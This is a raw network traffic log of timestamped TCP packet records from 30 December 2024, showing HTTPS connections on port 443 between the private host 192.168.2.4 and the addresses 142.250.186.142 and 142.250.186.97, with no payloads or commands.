Dec 30, 2024 11:36:53.263056040 CET	50089	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.264693975 CET	443	50089	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:53.264729023 CET	443	50089	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:53.264767885 CET	50089	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.273555040 CET	50089	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.273576975 CET	443	50089	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:53.273952961 CET	443	50090	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:53.273992062 CET	50090	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.274347067 CET	50096	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:53.274382114 CET	443	50096	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:53.274406910 CET	50097	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.274436951 CET	443	50097	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:53.274482965 CET	50097	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.274925947 CET	50096	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:53.275099039 CET	443	50090	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:53.275147915 CET	443	50090	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:53.275168896 CET	50090	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.275183916 CET	50090	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.275712967 CET	50097	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.275727987 CET	443	50097	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:53.276099920 CET	50096	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:53.276112080 CET	443	50096	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:53.282069921 CET	50090	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.282092094 CET	443	50090	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:53.282099009 CET	50090	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.282141924 CET	50090	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.282875061 CET	50098	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:53.282888889 CET	443	50098	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:53.283036947 CET	50099	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.283040047 CET	50098	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:53.283065081 CET	443	50099	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:53.283109903 CET	50099	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.283551931 CET	50099	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.283565044 CET	443	50099	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:53.283595085 CET	50098	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:53.283607960 CET	443	50098	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:53.875237942 CET	443	50097	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:53.875317097 CET	50097	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.875730038 CET	50097	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.875741005 CET	443	50097	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:53.877995968 CET	50097	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.878005981 CET	443	50097	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:53.882663965 CET	443	50099	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:53.882719040 CET	50099	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.883070946 CET	50099	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.883074999 CET	443	50099	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:53.883230925 CET	50099	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:53.883234978 CET	443	50099	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:53.884272099 CET	443	50098	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:53.884340048 CET	50098	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:53.884625912 CET	50098	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:53.884632111 CET	443	50098	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:53.884731054 CET	443	50096	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:53.885035992 CET	50096	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:53.885035992 CET	50096	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:53.885045052 CET	443	50096	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:53.886161089 CET	50098	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:53.886166096 CET	443	50098	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:53.887203932 CET	50096	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:53.887208939 CET	443	50096	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.247045040 CET	443	50097	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.247194052 CET	50097	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.247211933 CET	443	50097	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.247251034 CET	50097	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.247466087 CET	50097	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.247494936 CET	443	50097	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.247543097 CET	50097	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.248097897 CET	50111	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.248135090 CET	443	50111	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.248199940 CET	50111	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.248631954 CET	50111	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.248646021 CET	443	50111	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.249150038 CET	443	50099	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.249212980 CET	50099	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.249219894 CET	443	50099	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.249254942 CET	50099	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.249501944 CET	50099	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.249530077 CET	443	50099	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.249572992 CET	50099	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.250089884 CET	50112	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.250101089 CET	443	50112	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.250173092 CET	50112	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.250732899 CET	50112	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.250749111 CET	443	50112	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.303572893 CET	443	50098	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.303622961 CET	443	50098	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.303627014 CET	50098	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.303649902 CET	443	50098	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.303664923 CET	50098	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.303689957 CET	50098	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.303697109 CET	443	50098	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.303730965 CET	50098	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.303741932 CET	443	50098	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.303922892 CET	50098	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.308702946 CET	50098	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.308720112 CET	443	50098	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.309286118 CET	50113	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.309335947 CET	443	50113	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.309468985 CET	50113	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.309727907 CET	50113	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.309739113 CET	443	50113	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.461998940 CET	443	50096	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.462050915 CET	443	50096	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.462053061 CET	50096	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.462079048 CET	443	50096	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.462090969 CET	50096	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.462121964 CET	50096	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.462131023 CET	443	50096	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.462179899 CET	50096	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.462186098 CET	443	50096	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.462196112 CET	443	50096	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.462228060 CET	50096	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.463737011 CET	50096	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.463751078 CET	443	50096	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.464302063 CET	50114	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.464345932 CET	443	50114	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.464665890 CET	50114	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.464849949 CET	50114	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.464867115 CET	443	50114	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.846774101 CET	443	50111	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.846836090 CET	50111	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.847570896 CET	443	50111	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.847625017 CET	50111	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.849385023 CET	50111	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.849395037 CET	443	50111	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.849678040 CET	443	50111	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.849867105 CET	50111	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.850363016 CET	50111	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.857857943 CET	443	50112	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.857935905 CET	50112	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.858652115 CET	443	50112	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.858709097 CET	50112	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.860264063 CET	50112	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.860271931 CET	443	50112	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.860537052 CET	443	50112	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.860599995 CET	50112	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.860897064 CET	50112	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:54.895323992 CET	443	50111	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.907320976 CET	443	50112	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:54.911160946 CET	443	50113	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.911307096 CET	50113	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.911719084 CET	50113	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.911725998 CET	443	50113	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:54.911884069 CET	50113	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:54.911889076 CET	443	50113	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.072582960 CET	443	50114	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.072695971 CET	50114	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.073107004 CET	50114	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.073117971 CET	443	50114	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.073272943 CET	50114	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.073277950 CET	443	50114	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.219222069 CET	443	50111	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.219289064 CET	50111	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.219331026 CET	443	50111	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.219392061 CET	50111	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.219454050 CET	50111	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.219480038 CET	443	50111	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.219521999 CET	50111	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.220052958 CET	50122	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.220105886 CET	443	50122	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.220201969 CET	50122	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.220418930 CET	50122	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.220438957 CET	443	50122	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.241621017 CET	443	50112	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.241682053 CET	50112	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.241712093 CET	443	50112	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.242376089 CET	443	50112	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.242429972 CET	50112	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.242489100 CET	50112	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.242511034 CET	443	50112	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.242523909 CET	50112	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.243109941 CET	50112	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.243355989 CET	50123	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.243400097 CET	443	50123	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.243640900 CET	50123	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.244085073 CET	50123	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.244103909 CET	443	50123	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.320904016 CET	443	50113	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.320955992 CET	443	50113	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.320979118 CET	50113	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.321000099 CET	443	50113	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.321013927 CET	50113	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.321038961 CET	50113	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.321044922 CET	443	50113	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.321082115 CET	443	50113	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.321120024 CET	50113	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.321758986 CET	50113	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.321770906 CET	443	50113	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.322483063 CET	50124	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.322529078 CET	443	50124	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.322624922 CET	50124	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.323390007 CET	50124	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.323405027 CET	443	50124	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.486187935 CET	443	50114	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.486229897 CET	443	50114	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.486257076 CET	50114	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.486293077 CET	443	50114	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.486304998 CET	50114	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.486324072 CET	50114	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.486329079 CET	443	50114	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.486336946 CET	443	50114	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.486377001 CET	50114	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.487188101 CET	50114	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.487209082 CET	443	50114	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.487736940 CET	50128	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.487773895 CET	443	50128	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.487833977 CET	50128	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.488043070 CET	50128	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.488049984 CET	443	50128	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.843487024 CET	443	50123	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.843852997 CET	50123	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.844223022 CET	443	50123	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.844403982 CET	50123	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.847497940 CET	443	50122	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.847644091 CET	50122	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.847718954 CET	50123	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.847735882 CET	443	50123	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.847973108 CET	443	50123	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.848227978 CET	50123	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.848238945 CET	443	50122	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.848351955 CET	50122	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.848543882 CET	50123	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.859469891 CET	50122	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.859486103 CET	443	50122	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.859774113 CET	443	50122	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.860526085 CET	50122	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.861166000 CET	50122	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:55.891328096 CET	443	50123	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.903323889 CET	443	50122	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:55.925725937 CET	443	50124	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.925786018 CET	50124	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.926800013 CET	50124	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.926811934 CET	443	50124	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:55.928932905 CET	50124	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:55.928937912 CET	443	50124	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:56.107836008 CET	443	50128	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:56.111993074 CET	50128	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:56.208112955 CET	443	50123	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:56.208461046 CET	50123	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:56.209376097 CET	443	50123	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:56.209414959 CET	443	50123	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:56.209460974 CET	50123	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:56.228327990 CET	443	50122	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:56.228666067 CET	50122	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:56.228679895 CET	443	50122	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:56.229126930 CET	443	50122	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:56.229192972 CET	50122	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:56.365468025 CET	443	50124	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:56.365525007 CET	443	50124	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:56.365628004 CET	443	50124	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:56.365709066 CET	50124	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:56.392815113 CET	50124	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:56.392890930 CET	443	50124	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:56.393253088 CET	50128	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:56.393280983 CET	443	50128	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:56.393670082 CET	50128	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:56.393675089 CET	443	50128	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:56.393712044 CET	50123	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:56.393728971 CET	50122	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:56.430151939 CET	50131	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:56.430181026 CET	443	50131	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:56.430381060 CET	50131	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:56.435492039 CET	50131	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:56.435506105 CET	443	50131	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:56.440051079 CET	50132	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:56.440093994 CET	443	50132	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:56.440361977 CET	50132	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:56.441078901 CET	50132	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:56.441096067 CET	443	50132	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:56.716331959 CET	443	50128	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:56.716381073 CET	443	50128	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:56.716398954 CET	50128	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:56.716411114 CET	443	50128	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:56.716483116 CET	443	50128	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:56.716495991 CET	50128	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:56.716674089 CET	50128	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:56.719157934 CET	50128	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:56.719171047 CET	443	50128	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:57.038606882 CET	443	50131	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:57.038710117 CET	50131	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.039299965 CET	50131	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.039305925 CET	443	50131	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:57.039498091 CET	50131	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.039513111 CET	443	50131	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:57.059771061 CET	443	50132	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:57.059848070 CET	50132	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.060298920 CET	50132	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.060305119 CET	443	50132	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:57.060574055 CET	50132	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.060578108 CET	443	50132	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:57.405020952 CET	443	50131	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:57.405081987 CET	50131	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.405447006 CET	50131	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.405487061 CET	443	50131	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:57.405652046 CET	443	50131	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:57.405744076 CET	50131	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.405745029 CET	50131	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.406043053 CET	50145	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:57.406090021 CET	443	50145	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:57.406228065 CET	50145	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:57.406302929 CET	50146	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.406346083 CET	443	50146	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:57.406558037 CET	50146	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.406773090 CET	50145	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:57.406791925 CET	443	50145	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:57.406985044 CET	50146	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.407001972 CET	443	50146	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:57.431036949 CET	443	50132	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:57.431126118 CET	50132	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.431154013 CET	443	50132	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:57.431339025 CET	50132	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.431432962 CET	50132	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.431468964 CET	443	50132	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:57.431515932 CET	50132	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.431910038 CET	50147	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.431946039 CET	443	50147	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:57.431998014 CET	50148	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:57.432032108 CET	50147	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.432039022 CET	443	50148	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:57.432163954 CET	50148	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:57.432230949 CET	50147	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:57.432238102 CET	443	50147	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:57.432363033 CET	50148	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:57.432369947 CET	443	50148	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.032488108 CET	443	50147	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.032558918 CET	50147	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.033279896 CET	443	50147	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.034959078 CET	443	50145	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.035208941 CET	443	50146	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.035295963 CET	50146	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.035427094 CET	50147	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.035446882 CET	50145	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.035765886 CET	50145	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:58.035773039 CET	443	50145	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:58.036148071 CET	443	50146	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.036652088 CET	50146	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.036721945 CET	50147	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:58.036742926 CET	443	50147	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.037012100 CET	443	50147	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:58.037301064 CET	50147	443	192.168.2.4	142.250.186.142
